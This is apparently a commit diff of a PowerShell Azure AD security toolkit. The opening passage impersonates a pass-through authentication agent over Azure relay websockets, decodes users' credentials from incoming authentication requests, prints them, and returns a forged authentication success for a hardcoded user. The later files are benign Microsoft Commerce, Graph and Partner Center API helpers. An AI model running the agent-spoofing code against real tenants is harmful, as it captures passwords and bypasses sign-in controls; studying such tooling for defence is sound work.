$socket.Options.AddSubProtocol("wsrelayedconnection")
|
||||
$socket.Options.ClientCertificates.Add($Certificate) | out-null
|
||||
|
||||
# Create the token and open the connection
|
||||
$token = New-Object System.Threading.CancellationToken
|
||||
|
||||
$connection = $socket.ConnectAsync("wss://$url", $token)
|
||||
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 5 }
|
||||
|
||||
if($connection.IsFaulted -eq "True")
|
||||
{
|
||||
Write-Error $connection.Exception
|
||||
return
|
||||
}
|
||||
|
||||
# Send the two initial messages
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-RelayConnect)
|
||||
|
||||
SendToSocket -Socket $socket -Token $token -Bytes (New-RelayAccept -id $id)
|
||||
|
||||
# Start the conversation loop
|
||||
|
||||
if($status)
|
||||
{
|
||||
#$Status.status += "`nSocket: $($socket.state)"
|
||||
}
|
||||
|
||||
# Define variables
|
||||
$SomeId = $null
|
||||
$SequenceId = $null
|
||||
$ConnectionId = New-Guid
|
||||
$RelayUrl = $null
|
||||
$ProxyUrl = $null
|
||||
$ProxyId = $null
|
||||
$SomeId2 = $null
|
||||
$ConId = $null
|
||||
|
||||
while($socket.state -eq "Open")
|
||||
{
|
||||
Remove-Variable outMessage
|
||||
$outMessage = $null
|
||||
|
||||
$response = ReadFromSocket -Socket $socket -Token $token -TimeOut
|
||||
|
||||
if($response -eq $null)
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
$inMessage = Parse-RelayMessage $response
|
||||
|
||||
if($status)
|
||||
{
|
||||
# $Status.status += "`n$hostname InMessage: $($inMessage.Type) $($inMessage.Size). Response: $($response.length)"
|
||||
}
|
||||
|
||||
$close = $false
|
||||
|
||||
|
||||
|
||||
switch($inMessage.Type)
|
||||
{
|
||||
"Relay AcceptReply" {} # Do nothing
|
||||
"Relay ConnectReply" {} # Do nothing
|
||||
"Relay Name"
|
||||
{
|
||||
# Reply
|
||||
SendToSocket -Socket $socket -Token $token -Byte (New-RelayNameReply)
|
||||
}
|
||||
"Relay Ids"
|
||||
{
|
||||
if($status)
|
||||
{
|
||||
$Status.status += "`nExtracting variables"
|
||||
}
|
||||
# Extract variables
|
||||
$SomeId = $inMessage.SomeId
|
||||
$SequenceId = $inMessage.SequenceId
|
||||
$RelayUrl = $inMessage.Relay
|
||||
|
||||
if($status)
|
||||
{
|
||||
$Status.status += "`nSending outmessage. SomeId: $someId ConnectionId $ConnectionId SequenceId: $SequenceId Relay $RelayUrl"
|
||||
}
|
||||
# Reply
|
||||
$outMessage = New-RelayIdsReply -SomeId $SomeId -ConnectionId $ConnectionId -Relay $RelayUrl
|
||||
}
|
||||
"Relay ProxyConnect"
|
||||
{
|
||||
# Extract variables
|
||||
$ProxyUrl = $inMessage.ProxyUrl
|
||||
$ProxyId = $inMessage.ProxyId
|
||||
$SomeId2 = $inMessage.SomeId2
|
||||
$ConId = $inMessage.ConId
|
||||
$ConnectionId = $inMessage.ConnectionId
|
||||
|
||||
if($status)
|
||||
{
|
||||
$Status.status += "`nProxy. SomeId2: $someId2 SequenceId: $SequenceId ConnectionId: $ConnectionId "
|
||||
}
|
||||
|
||||
# Reply
|
||||
$outMessage = New-RelayProxyConnectReply -SequenceId $SequenceId -SomeId2 $SomeId2 -ConnectionId $ConnectionId
|
||||
|
||||
# Send NetRemote
|
||||
SendToSocket -Socket $socket -Token $token -Bytes New-RelayNetRemote
|
||||
}
|
||||
"Relay NetRemoteReply"
|
||||
{
|
||||
# Try to connect to the proxy!
|
||||
|
||||
# Get the ids..
|
||||
$SubscriptionId=([System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate).GetNameInfo([System.Security.Cryptography.X509Certificates.X509NameType]::SimpleName,$false)
|
||||
$ConnectorId=([guid]([System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate).Extensions["1.3.6.1.4.1.311.82.1"].RawData).ToString()
|
||||
|
||||
$url="https://$proxyUrl/subscriber/websocketconnect?requestId=$((New-Guid).ToString())"
|
||||
|
||||
|
||||
|
||||
|
||||
# Create the socket
|
||||
$socket2 = New-Object System.Net.WebSockets.ClientWebSocket
|
||||
|
||||
$socket2.options.SetRequestHeader("x-cwap-dnscachelookup-result" , "NotUsed")
|
||||
$socket2.options.SetRequestHeader("x-cwap-connector-usesdefaultproxy" , "InUse")
|
||||
$socket2.options.SetRequestHeader("x-cwap-connector-version" , "1.5.1542.0")
|
||||
$socket2.options.SetRequestHeader("x-cwap-datamodel-version" , "1.5.1542.0")
|
||||
$socket2.options.SetRequestHeader("x-cwap-connector-sp-connections" , "0")
|
||||
$socket2.options.SetRequestHeader("x-cwap-transid" , $id)
|
||||
|
||||
$socket2.options.ClientCertificates.Add($cert)
|
||||
|
||||
# Create the token and open the connection
|
||||
$token2 = New-Object System.Threading.CancellationToken
|
||||
|
||||
$connection2 = $socket2.ConnectAsync("wss://$($url.Substring(8))", $token2)
|
||||
While (!$connection2.IsCompleted) { Start-Sleep -Milliseconds 5 }
|
||||
|
||||
if($connection2.IsFaulted -eq "True")
|
||||
{
|
||||
Write-Error $connection2.Exception
|
||||
return
|
||||
}
|
||||
Write-Host "Connected to $Url" -ForegroundColor Yellow
|
||||
|
||||
# Send the message
|
||||
$message = [text.encoding]::UTF8.GetBytes( "{`"ConnectionId`":`"$connectionId`",`"MessageType`":0}" )
|
||||
SendToSocket -Socket $socket2 -Token $token -Bytes ($message)
|
||||
|
||||
# Loop
|
||||
while($true)
|
||||
{
|
||||
# Get the authentication message
|
||||
$response = ReadFromSocket -Socket $socket2 -Token $token2 -ArraySize 2048
|
||||
# Debug -Step ($step++) -NameSpace $Hostname -Bytes $response -Direction in
|
||||
|
||||
$authRequest = [text.encoding]::UTF8.GetString($response)
|
||||
Write-Verbose $authRequest
|
||||
$credentials = Decode-PTACredential -AuthRequest $authRequest -Certificate $cert
|
||||
|
||||
$credentials
|
||||
|
||||
|
||||
|
||||
Write-Verbose "Trying to send authentication response"
|
||||
$username="danj@highlandwhiskey.myo365.site"
|
||||
$userClaim="[{`"ClaimType`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication`",`"Resource`":true,`"Right`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity`"},{`"ClaimType`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/name`",`"Resource`":`"$username`",`"Right`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity`"}]"
|
||||
$backEndResponse = [convert]::ToBase64String([text.encoding]::UTF8.GetBytes($userClaim))
|
||||
|
||||
$headers = [ordered]@{
|
||||
"x-cwap-dnscachelookup-result"="NotUsed"
|
||||
"x-cwap-connector-usesdefaultproxy"="InUse"
|
||||
"x-cwap-connector-version"="1.5.1542.0"
|
||||
"x-cwap-datamodel-version"="1.5.1542.0"
|
||||
"x-cwap-connector-sp-connections"="1"
|
||||
"x-cwap-transid" = $id
|
||||
"x-cwap-sessionid"="00000000-0000-0000-0000-000000000000"
|
||||
"x-cwap-certificate-authentication"="notProcessed"
|
||||
"x-cwap-headers-size"="0"
|
||||
"x-cwap-connector-be-latency-ms"="27"
|
||||
"x-cwap-payload-total-attempts"="0"
|
||||
"x-cwap-connector-loadfactor"="0"
|
||||
"x-cwap-response-total-attempts"="1"
|
||||
"x-cwap-connector-all-latency-ms"="70"
|
||||
"x-cwap-backend-response" = $backEndResponse
|
||||
"User-Agent"=""
|
||||
}
|
||||
|
||||
$url="https://$proxyUrl/subscriber/connection?requestId=$((New-Guid).ToString())"
|
||||
|
||||
# The cert must be "linked" to this web page by IE + it needs to be installed in the personal store.
|
||||
try
|
||||
{
|
||||
Invoke-RestMethod -Uri $url -Method Post -Certificate $cert -Headers $headers -ContentType "" -ErrorAction SilentlyContinue
|
||||
#$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Certificate $cert -Headers $headers -ContentType "" -ErrorAction SilentlyContinue
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Error $_.Exception.Message
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if($outMessage -ne $null)
|
||||
{
|
||||
if($status)
|
||||
{
|
||||
#$Status.status += "`nSendToSocket. $($outMessage.length). $($outMessage.GetType())"
|
||||
}
|
||||
SendToSocket -Socket $socket -Token $token -Bytes ([byte[]]$outMessage)
|
||||
|
||||
}
|
||||
|
||||
if($close)
|
||||
{
|
||||
$socket.Abort()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
catch
|
||||
{
|
||||
$Exception = $error[0]
|
||||
Write-Host $_
|
||||
Write-Host $Exception -ForegroundColor Red
|
||||
|
||||
if($status)
|
||||
{
|
||||
$Status.status += "`n$($exception.toString())"
|
||||
}
|
||||
}
|
||||
Finally{
|
||||
|
||||
If ($socket) {
|
||||
Write-Verbose "Closing websocket $Namespace"
|
||||
$socket.Dispose()
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
+156
@@ -0,0 +1,156 @@
|
||||
# This file contains functions for MS Commerce
|
||||
|
||||
# List self-service-purchase products
|
||||
# Aug 27th 2021
|
||||
function Get-SelfServicePurchaseProducts
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Lists the status of self-service purchase products
|
||||
|
||||
.DESCRIPTION
|
||||
Lists the status of self-service purchase products
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get the status of the self-service purchase products.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForMSCommerce -SaveToCache
|
||||
PS C:\>Get-AADIntSelfServicePurchaseProducts
|
||||
|
||||
Product Id Status
|
||||
------- -- ------
|
||||
Windows 365 Enterprise CFQ7TTC0HHS9 Enabled
|
||||
Windows 365 Business with Windows Hybrid Benefit CFQ7TTC0HX99 Enabled
|
||||
Windows 365 Business CFQ7TTC0J203 Enabled
|
||||
Power Automate per user CFQ7TTC0KP0N Enabled
|
||||
Power Apps per user CFQ7TTC0KP0P Enabled
|
||||
Power Automate RPA CFQ7TTC0KXG6 Enabled
|
||||
Power BI Premium (standalone) CFQ7TTC0KXG7 Enabled
|
||||
Visio Plan 2 CFQ7TTC0KXN8 Enabled
|
||||
Visio Plan 1 CFQ7TTC0KXN9 Enabled
|
||||
Project Plan 3 CFQ7TTC0KXNC Enabled
|
||||
Project Plan 1 CFQ7TTC0KXND Enabled
|
||||
Power BI Pro CFQ7TTC0L3PB Enabled
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "aeb86249-8ea3-49e2-900b-54cc8e308f85" -ClientId "3d5cffa9-04da-4657-8cab-c7f074657cad"
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://licensing.m365.microsoft.com/v1.0/policies/AllowSelfServicePurchase/products" -Headers $headers
|
||||
|
||||
# Return the products
|
||||
foreach($item in $response.items)
|
||||
{
|
||||
New-Object psobject -Property ([ordered]@{
|
||||
"Product" = $item.productName
|
||||
"Id" = $item.productID
|
||||
"Status" = $item.policyValue
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Change the status of self-service-purchase products
|
||||
# Aug 27th 2021
|
||||
function Set-SelfServicePurchaseProduct
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Change the status of the given self-service purchase product
|
||||
|
||||
.DESCRIPTION
|
||||
Change the status of the given self-service purchase product
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to change the status of the self-service purchase product.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForMSCommerce -SaveToCache
|
||||
PS C:\>Set-AADIntSelfServicePurchaseProduct -Id CFQ7TTC0L3PB -Enabled $false
|
||||
|
||||
Product Id Status
|
||||
------- -- ------
|
||||
Power BI Pro CFQ7TTC0L3PB Disabled
|
||||
|
||||
.Example
|
||||
Get-AADIntSelfServicePurchaseProducts | Set-AADIntSelfServicePurchaseProduct -Enabled $false
|
||||
|
||||
Product Id Status
|
||||
------- -- ------
|
||||
Windows 365 Enterprise CFQ7TTC0HHS9 Disabled
|
||||
Windows 365 Business with Windows Hybrid Benefit CFQ7TTC0HX99 Disabled
|
||||
Windows 365 Business CFQ7TTC0J203 Disabled
|
||||
Power Automate per user CFQ7TTC0KP0N Disabled
|
||||
Power Apps per user CFQ7TTC0KP0P Disabled
|
||||
Power Automate RPA CFQ7TTC0KXG6 Disabled
|
||||
Power BI Premium (standalone) CFQ7TTC0KXG7 Disabled
|
||||
Visio Plan 2 CFQ7TTC0KXN8 Disabled
|
||||
Visio Plan 1 CFQ7TTC0KXN9 Disabled
|
||||
Project Plan 3 CFQ7TTC0KXNC Disabled
|
||||
Project Plan 1 CFQ7TTC0KXND Disabled
|
||||
Power BI Pro CFQ7TTC0L3PB Disabled
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True,ValueFromPipelineByPropertyName=$True)]
|
||||
[String]$Id,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[Boolean]$Enabled
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "aeb86249-8ea3-49e2-900b-54cc8e308f85" -ClientId "3d5cffa9-04da-4657-8cab-c7f074657cad"
|
||||
|
||||
# Set the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
if($Enabled)
|
||||
{
|
||||
$policyValue = "Enabled"
|
||||
}
|
||||
else
|
||||
{
|
||||
$policyValue = "Disabled"
|
||||
}
|
||||
|
||||
$body = @{ "policyValue" = $policyValue}
|
||||
|
||||
# Invoke the command
|
||||
try
|
||||
{
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://licensing.m365.microsoft.com/v1.0/policies/AllowSelfServicePurchase/products/$Id" -Headers $headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
|
||||
|
||||
# Return
|
||||
New-Object psobject -Property ([ordered]@{
|
||||
"Product" = $response.productName
|
||||
"Id" = $response.productID
|
||||
"Status" = $response.policyValue
|
||||
})
|
||||
}
|
||||
catch
|
||||
{
|
||||
throw $_
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
+1174
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,79 @@
|
||||
# This script contains utility functions for MSGraph API at https://graph.microsoft.com
|
||||
|
||||
|
||||
|
||||
# Calls the provisioning SOAP API
|
||||
function Call-MSGraphAPI
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$API,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$ApiVersion="beta",
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$Method="GET",
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Body,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$Headers,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$QueryString,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$MaxResults=1000
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Set the required variables
|
||||
$TenantID = (Read-Accesstoken $AccessToken).tid
|
||||
|
||||
if($Headers -eq $null)
|
||||
{
|
||||
$Headers=@{}
|
||||
}
|
||||
$Headers["Authorization"] = "Bearer $AccessToken"
|
||||
|
||||
# Create the url
|
||||
$url = "https://graph.microsoft.com/$($ApiVersion)/$($API)?$(if(![String]::IsNullOrEmpty($QueryString)){"&$QueryString"})"
|
||||
|
||||
# Call the API
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -ContentType "application/json" -Method $Method -Body $Body -Headers $Headers
|
||||
|
||||
# Check if we have more items to fetch
|
||||
if($response.psobject.properties.name -match '@odata.nextLink')
|
||||
{
|
||||
$items=$response.value.count
|
||||
|
||||
# Loop until finished or MaxResults reached
|
||||
while(($url = $response.'@odata.nextLink') -and $items -lt $MaxResults)
|
||||
{
|
||||
# Return
|
||||
$response.value
|
||||
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -ContentType "application/json" -Method $Method -Body $Body -Headers $Headers
|
||||
$items+=$response.value.count
|
||||
}
|
||||
|
||||
# Return
|
||||
$response.value
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
# Return
|
||||
if($response.psobject.properties.name -match "Value")
|
||||
{
|
||||
return $response.value
|
||||
}
|
||||
else
|
||||
{
|
||||
return $response
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
+661
@@ -0,0 +1,661 @@
|
||||
# This file contains functions for MS Partner operations.
|
||||
|
||||
# List partner organizations
|
||||
# Sep 22nd 2021
|
||||
function Get-MSPartnerOrganizations
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Lists partner organisations of the logged in user. Does not require permissions to MS Partner Center.
|
||||
|
||||
.DESCRIPTION
|
||||
Lists partner organisations of the logged in user. Does not require permissions to MS Partner Center.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get the list of partner organisations.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
|
||||
PS C:\>Get-AADIntMSPartnerOrganizations
|
||||
|
||||
id : 9a0c7346-f305-4646-b3fb-772853f6b209
|
||||
typeName : Tenant
|
||||
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
|
||||
MPNID : 8559543
|
||||
companyName : Partner Ltd
|
||||
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
|
||||
contact : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}
|
||||
|
||||
id : 60a0020f-bd16-4f27-a23c-104644918834
|
||||
typeName : PartnerGlobal
|
||||
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
|
||||
MPNID : 8559542
|
||||
companyName : Partner Ltd
|
||||
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
|
||||
contact : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}
|
||||
|
||||
id : 297588a4-5c2a-430e-ae1e-b16c5d944a7d
|
||||
typeName : PartnerLocation
|
||||
name : Partner Ltd, US, PARTNERVILLE
|
||||
legalEntityCid : bc07db21-7a22-4fc9-9f8a-5df27532f09f
|
||||
MPNID : 8559543
|
||||
companyName : Partner Ltd
|
||||
address : @{country=US; city=PARTNERVILLE; state=AT; addressLine1=666 Partner Park; addressLine2=; postalCode=1234567890}
|
||||
contact : @{firstName=Partner; lastName=Manager; email=pmanager@company.com; phoneNumber=+1 234567890}
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
# Invoke the API call
|
||||
#$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/partnerorganizations"
|
||||
# /accounts doesn't require partner credentials :)
|
||||
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/accounts"
|
||||
|
||||
if($response.items.Count -gt 0)
|
||||
{
|
||||
$accounts = $response.items
|
||||
|
||||
$ids = ($accounts | Select-Object -ExpandProperty id) -join ","
|
||||
|
||||
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/accountexternalresourcekeys?accountIds=$ids&keyType=mpnId"
|
||||
$mpnIds = $response.items | Select-Object -Property accountId,keyValue
|
||||
|
||||
foreach($account in $accounts)
|
||||
{
|
||||
# Add MPN ID and remove unneeded properties
|
||||
$account | Add-Member -NotePropertyName "MPNID" -NotePropertyValue ($mpnIds | Where-Object accountId -eq $account.id | Select-Object -ExpandProperty keyValue)
|
||||
$account.PSObject.Properties.Remove("cid")
|
||||
$account.PSObject.Properties.Remove("attributes")
|
||||
$account.PSObject.Properties.Remove("status")
|
||||
$account.PSObject.Properties.Remove("accountType")
|
||||
|
||||
# Get & add legal entity information
|
||||
$response = Invoke-MSPartnerAPI -Method Get -AccessToken $AccessToken -Url "accountenrollments/v1/legalentities/$($account.legalEntityCid)?basicInfoOnly=false"
|
||||
|
||||
$account | Add-Member -NotePropertyName "companyName" -NotePropertyValue $response.profiles[0].companyName
|
||||
$account | Add-Member -NotePropertyName "address" -NotePropertyValue $response.profiles[0].address
|
||||
$account | Add-Member -NotePropertyName "contact" -NotePropertyValue $response.profiles[0].primaryContact
|
||||
}
|
||||
|
||||
$accounts
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# List partner publishers
|
||||
# Sep 22nd 2021
|
||||
function Get-MSPartnerPublishers
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Lists partner publishers of the logged in user.
|
||||
|
||||
.DESCRIPTION
|
||||
Lists partner publishers of the logged in user.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get the list of partner publishers.
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
|
||||
PS C:\>Get-AADIntMSPartnerPublishers
|
||||
|
||||
name mpnId programCodes
|
||||
---- ----- ------------
|
||||
Company Ltd 7086220 {1, 99, 223}
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
|
||||
|
||||
$body = "{""aadTenantId"":""$((Read-Accesstoken $AccessToken).tid)"",""isBasicAccount"":true,""program"":""Azure""}"
|
||||
|
||||
# Invoke the API call
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
}
|
||||
|
||||
# Invoke the command
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://partner.microsoft.com/en-us/dashboard/account/v3/api/accounts/search" -Headers $headers -Body $body -ContentType "application/json"
|
||||
|
||||
$response
|
||||
}
|
||||
}
|
||||
|
||||
# List available offers of the partner organisation
|
||||
# Sep 22nd 2021
|
||||
function Get-MSPartnerOffers
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Lists available offers of the partner organisation.
|
||||
|
||||
.DESCRIPTION
|
||||
Lists available offers of the partner organisation.
|
||||
|
||||
.Parameter AccessToken
|
||||
The access token used to get the list of partner offers.
|
||||
|
||||
.Parameter Type
|
||||
Type of the offers to list. Can be Trial or Purchase.
|
||||
|
||||
.Parameter CountryCode
|
||||
Two letter country code. Defaults to "US".
|
||||
|
||||
.Parameter Locale
|
||||
Locale. Defaults to "en-US".
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
|
||||
PS C:\>Get-AADIntMSPartnerOffers
|
||||
|
||||
id : 01824D11-5AD8-447F-8523-666B0848B381
|
||||
name : Azure Active Directory Premium P1 Trial
|
||||
productName : Azure Active Directory Premium P1
|
||||
unit : Licenses
|
||||
minimumQuantity : 25
|
||||
maximumQuantity : 10000000
|
||||
term : 1
|
||||
termUnitOfMeasure : Month
|
||||
learnMoreLink : https://aka.ms/office-365/0
|
||||
programCode : 99
|
||||
|
||||
id : 0A845364-6AA2-4046-8198-6CF6461F7F2B
|
||||
name : Project Plan 3 Trial
|
||||
productName : Project Plan 3
|
||||
unit : Licenses
|
||||
minimumQuantity : 25
|
||||
maximumQuantity : 10000000
|
||||
term : 1
|
||||
termUnitOfMeasure : Month
|
||||
learnMoreLink : https://aka.ms/office-365/0
|
||||
programCode : 99
|
||||
|
||||
id : 0F5B471A-08EF-4E69-ABB0-BB4DA43F0344
|
||||
name : Visio Plan 2 Trial
|
||||
productName : Visio Plan 2
|
||||
unit : Licenses
|
||||
minimumQuantity : 25
|
||||
maximumQuantity : 10000000
|
||||
term : 1
|
||||
termUnitOfMeasure : Month
|
||||
learnMoreLink : https://aka.ms/office-365/1268
|
||||
programCode : 99
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForMSPartner -SaveToCache
|
||||
PS C:\>Get-AADIntMSPartnerOffers | Format-Table id,name,maximumQuantity
|
||||
|
||||
id name maximumQuantity
|
||||
-- ---- ---------------
|
||||
01824D11-5AD8-447F-8523-666B0848B381 Azure Active Directory Premium P1 Trial 10000000
|
||||
0A845364-6AA2-4046-8198-6CF6461F7F2B Project Plan 3 Trial 10000000
|
||||
0F5B471A-08EF-4E69-ABB0-BB4DA43F0344 Visio Plan 2 Trial 10000000
|
||||
101BDE18-5FFB-4D79-A47B-F5B2C62525B3 Office 365 E5 Trial 10000000
|
||||
10DDC3DA-B394-42B8-BB45-37F7CBA40981 Office 365 F3 Trial 10000000
|
||||
121ACBBF-05EE-4C97-98B6-31DC25879186 Exchange Online Protection Trial 10000000
|
||||
15C64B7B-475C-414C-A711-9C7CC0310F0E Common Area Phone Trial 10000000
|
||||
204A8E44-C924-4BFB-AA90-DDF42DC0E18A Project Plan 1 Trial 10000000
|
||||
248D15A4-0B1D-494B-96D2-C93D1D17205E Microsoft 365 F1 Trial 10000000
|
||||
2A3F5C07-BBB2-4786-857C-054F5DDD3486 Microsoft 365 Apps for enterprise Trial 10000000
|
||||
32F37F52-2F8A-428F-82EA-92B56A44E1A7 Microsoft 365 F3 Trial 10000000
|
||||
3C9462FF-5045-4A71-A7A6-5A7EC82911CF OneDrive for Business (Plan 2) Trial 10000000
|
||||
467EAB54-127B-42D3-B046-3844B860BEBF Microsoft 365 Business Standard Trial 300
|
||||
47128319-73FF-4A7B-B96F-A3E8B14728E2 Microsoft 365 Business Premium Trial 300
|
||||
4F188E46-77E9-4693-A2E2-65433499159B Domain Subscription 1-year Trial 1
|
||||
503D4D1D-0169-4E1F-AE26-DB041C54C5C4 Microsoft 365 E5 Information Protection and Governance Trial 10000000
|
||||
508CDA15-1DEB-4135-9C54-4D691A705353 Exchange Online Archiving for Exchange Server Trial 10000000
|
||||
60265DB3-1D66-40AF-8342-A861655E218A Domain Subscription 1-year Trial 1
|
||||
62F0E3F1-B224-4D22-B98D-761DB2A43ACD Meeting Room Trial 10000000
|
||||
757C4C34-D589-46E4-9579-120BBA5C92ED Microsoft Cloud App Security Trial 10000000
|
||||
7809E406-FCF6-4C06-8BFD-7C020E77046A Visio Plan 1 Trial 10000000
|
||||
7B74C69A-2BFC-41C9-AAF1-23070354622D Microsoft 365 E5 Insider Risk Management Trial 10000000
|
||||
8339CC50-D965-4AD5-BB94-749021A5EBF9 Windows Store for Business Trial 10000000
|
||||
8368AC6A-5797-4859-B2EC-4D32330277C9 Microsoft 365 Apps for business Trial 300
|
||||
A43415D3-404C-4DF3-B31B-AAD28118A778 Azure Information Protection Premium P1 Trial 10000000
|
||||
B07A1127-DE83-4A6D-9F85-2C104BDAE8B4 Office 365 E3 Trial 10000000
|
||||
BDA7A87A-FFD0-4B20-B4D9-A3B48EBD70B9 OneDrive for Business (Plan 1) Trial 10000000
|
||||
C6CA396F-4467-4761-95F6-B6D9A5386716 Microsoft 365 E5 eDiscovery and Audit Trial 10000000
|
||||
D59682F3-3E3B-4686-9C00-7C7C1C736085 Power BI Pro Trial 10000000
|
||||
DDC284E8-D5FA-4EAE-AC29-C8A52C237B7B Project Online Essentials Trial 10000000
|
||||
E56A8505-FEEA-4B75-BD30-BD2959D77943 Microsoft 365 E3 Trial 10000000
|
||||
EBE94500-8C76-457C-8D3F-EB40CE524BC0 Microsoft Kaizala Pro Trial 10000000
|
||||
F6F20264-E785-4749-BD8E-884BAB076DE4 Microsoft 365 E5 Trial 10000000
|
||||
1760F437-30BF-42F8-950C-B111DDFA4EF8 Dynamics 365 Sales Professional Trial 10000000
|
||||
5CC5F505-815F-4DA6-9203-74B5017F2432 Dynamics 365 Customer Service Enterprise Trial 10000000
|
||||
70274D52-B96A-482A-ACA1-D0066E0F7FEB Dynamics 365 Sales Insights Trial 10000000
|
||||
B285FC76-2E9C-47D2-95C9-9EAE32578354 Dynamics 365 Customer Insights Trial 10000000
|
||||
BD569279-37F5-4F5C-99D0-425873BB9A4B Dynamics 365 Customer Engagement Plan Trial 10000000
|
||||
E516657E-6146-4866-8F06-2F8B7F494608 Power Virtual Agent Trial 10000000
|
||||
EAC27224-2BB3-42CF-9D84-0D9A0DC80898 Dynamics 365 Marketing Trial 10
|
||||
F97F075B-4FB7-4E6D-8168-E28A85C54EE9 Dynamics 365 Customer Service Insights Trial 10000000
|
||||
